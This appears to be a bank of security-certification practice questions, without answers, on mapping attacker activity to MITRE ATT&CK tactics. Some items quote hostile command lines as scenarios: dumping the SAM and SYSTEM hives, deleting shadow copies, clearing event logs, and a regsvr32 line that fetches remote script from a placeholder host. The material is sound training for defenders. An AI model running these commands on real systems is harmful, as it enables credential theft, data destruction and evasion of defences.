Adversarial Tactics

A red team member uses the Windows Management Instrumentation (WMI) command-line utility to create a new process on a remote host, specifying credentials of a compromised domain user. Which tactic does this activity primarily illustrate?

Which tactic is associated with 'T1537 Transfer Data to Cloud Account'?

What is the primary goal of the 'Command and Control' (C2) tactic?

You suspect an adversary is performing 'T1005 Data from Local System'. Which of these actions is relevant?

During incident response, an analyst observes that an attacker used 'reg save HKLM\SAM C:\temp\sam.hiv' and 'reg save HKLM\SYSTEM C:\temp\system.hiv' on a compromised host. The analyst then sees the files being exfiltrated. Which MITRE ATT&CK tactic is the attacker primarily performing with the 'reg save' commands?

You are assessing an attacker's use of 'T1203 Exploitation for Client Execution'. What does this imply?

A threat hunter is reviewing logs from a workstation and finds evidence of an adversary attempting to impair defenses before deploying ransomware. Which TWO of the following observed actions are Defense Evasion techniques? (Choose two.)

A security analyst notices that an attacker has established persistence on a compromised host by creating a new Windows service. The service is configured to run a malicious executable at system startup. Which MITRE ATT&CK technique does this represent?

Which TWO of the following are examples of 'Discovery' techniques?

You are investigating a breach where the attacker used 'T1555 Credentials from Password Stores'. Where would they look?

During an incident response engagement, an analyst finds that an attacker used a signed, legitimate remote monitoring and management (RMM) tool to maintain access on several endpoints. The tool's binary was already installed by the IT department for administrative purposes. Which ATT&CK technique BEST describes the attacker's action of using this existing, signed tool to avoid detection?

You are implementing threat hunting for 'T1562 Impair Defenses'. Which activity are you searching for?

A security analyst is examining a compromised host and observes the following activities: (1) a new local administrator account was created, (2) the Windows Security event log was cleared, (3) a tool was run to dump credentials from memory, and (4) a firewall rule was added to allow inbound traffic on port 4444. Which TWO of these activities are classified under the Credential Access tactic? (Choose two.)

You are reviewing a Purple Team exercise involving 'T1003 OS Credential Dumping'. What is the most reliable way to detect credential dumping via LSASS process access?

You see a process performing DNS queries for unusually long subdomains. Which tactic is the adversary likely exercising?

During incident response, an analyst observes that an adversary used 'net use \\fileserver\share$ /user:DOMAIN\svc_backup' followed shortly by 'schtasks /create /s fileserver /ru SYSTEM /tn UpdateCheck /tr C:\Windows\Temp\upd.exe'. The analyst already confirmed the initial host was compromised via phishing. Which tactic does the 'net use' command most directly represent in this sequence?

Which technique is most effective for an adversary to perform 'T1078 Valid Accounts'?

While analyzing an EDR alert, you observe a process modifying 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'. What is the primary adversary objective at this stage?

What is the purpose of 'T1027 Obfuscated Files or Information'?

Which TWO of the following are considered 'Credential Access' techniques?

Which of these is a typical 'Lateral Movement' technique?

Which THREE of the following are common 'Impact' techniques?

An adversary uses 'vssadmin.exe delete shadows /all /quiet' during an attack. Which tactic is this technique categorized under?

What is the primary function of a 'C2 Beacon'?

Which TWO of the following behaviors are typical of 'Lateral Movement'?

A security analyst is reviewing alerts on a server and observes the following behaviors: (1) a scheduled task was created to run a script at startup, (2) a new local administrator account was created, and (3) the host file was modified to redirect a security vendor domain. Which TWO of these behaviors are most consistent with the Persistence tactic? (Choose two.)

You are configuring Microsoft Defender for Endpoint. Which feature is most effective against 'T1566 Phishing'?

You are auditing an environment for 'T1083 File and Directory Discovery'. Which log source provides the most visibility into this activity?

A security operations centre analyst reviewing endpoint telemetry sees a process named 'rundll32.exe' executing with the command line 'rundll32.exe C:\Users\Public\upd.dat,Start'. The DLL was written to the Public folder minutes earlier by a macro-enabled document. The analyst must map this behaviour to the most appropriate MITRE ATT&CK technique. Which technique best fits this activity?

An analyst observes an adversary using 'reg save HKLM\SAM sam.hive' and 'reg save HKLM\SYSTEM system.hive' on a compromised workstation. The files are then compressed and moved to a staging directory. Which MITRE ATT&CK tactic does this activity represent?

A security operations center (SOC) analyst notices that an attacker has been using the 'at' command to schedule a job that runs a reverse shell every day at 9 AM on a compromised Linux server. Which MITRE ATT&CK tactic does this activity represent?

An adversary has gained access to a workstation and is attempting to escalate privileges. Which TWO of the following actions are examples of the Privilege Escalation tactic in MITRE ATT&CK? (Choose two.)

A security analyst reviewing endpoint telemetry notices that shortly after a user opened a malicious email attachment, a process named 'outlook.exe' spawned 'powershell.exe' with an encoded command line. The encoded command decoded to a script that downloaded a payload from an external IP address. Which MITRE ATT&CK tactic best describes the initial spawning of PowerShell from Outlook?

You are reviewing logs in Splunk and identify a suspicious process spawning 'cmd.exe' from 'wsmprovhost.exe'. Which MITRE ATT&CK tactic does this behavior most directly align with?

An analyst notices that a process on a finance workstation is repeatedly writing compressed archives to a hidden directory and then uploading them to an external IP address during non-business hours. No user is logged in interactively at the time. Which adversarial tactic does this activity most directly represent?

A SOC analyst notices a scheduled task named 'MicrosoftEdgeUpdateTaskMachineUA' running a binary in C:\Users\Public\ that calls back to an external IP every 15 minutes. The task was created at 03:14, outside of the normal patch window. Under which MITRE ATT&CK tactic is this activity best categorized?

An analyst detects that an adversary used the PsExec utility to copy a service binary to a remote host and create a temporary Windows service that executed the binary as SYSTEM. The analyst must classify this behaviour. Which MITRE ATT&CK technique does this activity represent?

During an incident, an analyst finds that an adversary used a legitimate remote monitoring and management (RMM) tool already installed in the environment to execute commands, then deleted the tool's logs and renamed the executable to match a system process. Which adversarial tactic is most clearly being used to avoid detection and prolong the intrusion?

During threat hunting, an analyst sees a workstation authenticate to multiple servers using a single NTLM authentication event that is relayed to a different host within seconds. The workstation account is not the user's account, and the target servers log successful logons with the workstation's machine account. Which adversarial tactic is best supported by this evidence?

Which THREE of the following are 'Command and Control' techniques?

An adversary is using a living-off-the-land (LotL) binary to execute commands. Why is this preferred over a custom malware?

An analyst notices that a compromised host is generating a high volume of DNS queries for domains like 'a1b2c3d4e5f6g7h8.example.com', where the subdomain appears to be a hexadecimal string. The queries are frequent and vary in length. Which MITRE ATT&CK tactic is the adversary most likely employing?

What is the primary difference between a Red Team and a Blue Team in a security simulation?

Which THREE of the following are considered 'Collection' techniques?

An analyst is reviewing host telemetry to identify behaviours that map to the Defense Evasion tactic. Which two of the following observed actions should be mapped to Defense Evasion? (Choose two.)

During an investigation, you discover that an adversary has modified the 'ImagePath' registry value for a legitimate Windows service to point to a malicious executable. The service is configured to start automatically. Which MITRE ATT&CK tactic does this technique primarily fall under?

An analyst observes an endpoint resolving hundreds of unique subdomains under a single parent domain, each subdomain encoded as a long hexadecimal string, and the responses frequently return NXDOMAIN. The endpoint process generating these queries is a signed Office add-in. Which adversarial tactic is the endpoint most likely exhibiting?

Which of the following is considered an 'Execution' tactic in the MITRE ATT&CK framework?

An analyst observes that an attacker has modified the Windows Registry to add a value under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' that points to a malicious executable. Which MITRE ATT&CK tactic is the attacker attempting to achieve?

Which action constitutes 'Discovery' as defined by the MITRE ATT&CK framework?

An analyst reviewing endpoint telemetry sees rundll32.exe executing a DLL from a user's Downloads folder with an export named 'Start'. The DLL was downloaded from an external site minutes earlier. Which MITRE ATT&CK tactic is most directly represented by this activity?

Which TWO of the following are examples of 'Initial Access' tactics?

An attacker uses 'T1133 External Remote Services' to gain access. What does this involve?

A threat hunter is reviewing logs for signs of adversary reconnaissance. Which TWO of the following activities are considered Discovery techniques in the MITRE ATT&CK framework? (Choose two.)

During incident response, an analyst discovers that an attacker used the built-in 'net.exe' command to enumerate domain groups and then leveraged 'nltest.exe' to query domain trusts. Which MITRE ATT&CK tactic best categorizes this sequence?

Which of these is a 'Defense Evasion' technique?

A security operations center analyst observes an endpoint where the process 'rundll32.exe' has loaded a DLL from the user's Downloads folder and is making outbound SMB connections to several internal hosts. Which MITRE ATT&CK tactic is most likely being exercised by this behavior?

A security analyst reviewing endpoint telemetry observes that a scheduled task named 'MicrosoftEdgeUpdateTaskMachineCore' was modified to point to a PowerShell script in a user's AppData folder. The task runs daily with SYSTEM privileges. Which adversarial tactic does this activity most directly represent?

Which THREE of the following are considered 'Execution' techniques?

Which THREE of the following are 'Privilege Escalation' techniques?

Which THREE of the following are common 'Exfiltration' techniques?

Which TWO of the following are examples of 'Persistence' tactics?

A security analyst is investigating an incident where an attacker used a technique to evade detection by injecting malicious code into a legitimate process. The analyst observes that the attacker used `CreateRemoteThread` to execute code in a remote process. Which MITRE ATT&CK technique does this represent?

During an incident, an analyst finds that a domain controller's NTDS.dit file was accessed by a process running under the context of a service account, and shortly afterwards the same account authenticated to several member servers using NTLM. The analyst must determine which adversarial tactic the combined activity represents. Which tactic does this activity primarily represent?

You detect an adversary attempting to clear Windows Event Logs using 'wevtutil cl'. This falls under which tactic?

A security operations analyst is reviewing endpoint telemetry and observes that the process 'regsvr32.exe' was launched with the command line 'regsvr32.exe /s /u /i:http://malicious.example/evade.sct scrobj.dll'. The parent process is 'winword.exe'. There is no user interaction reported after the initial document open. Which adversarial tactic does this activity most directly represent?

A threat actor gains initial access to a network by sending a phishing email with a malicious macro-enabled document. After the user enables macros, the document executes PowerShell to download and run a payload. Which MITRE ATT&CK tactic does the macro execution represent?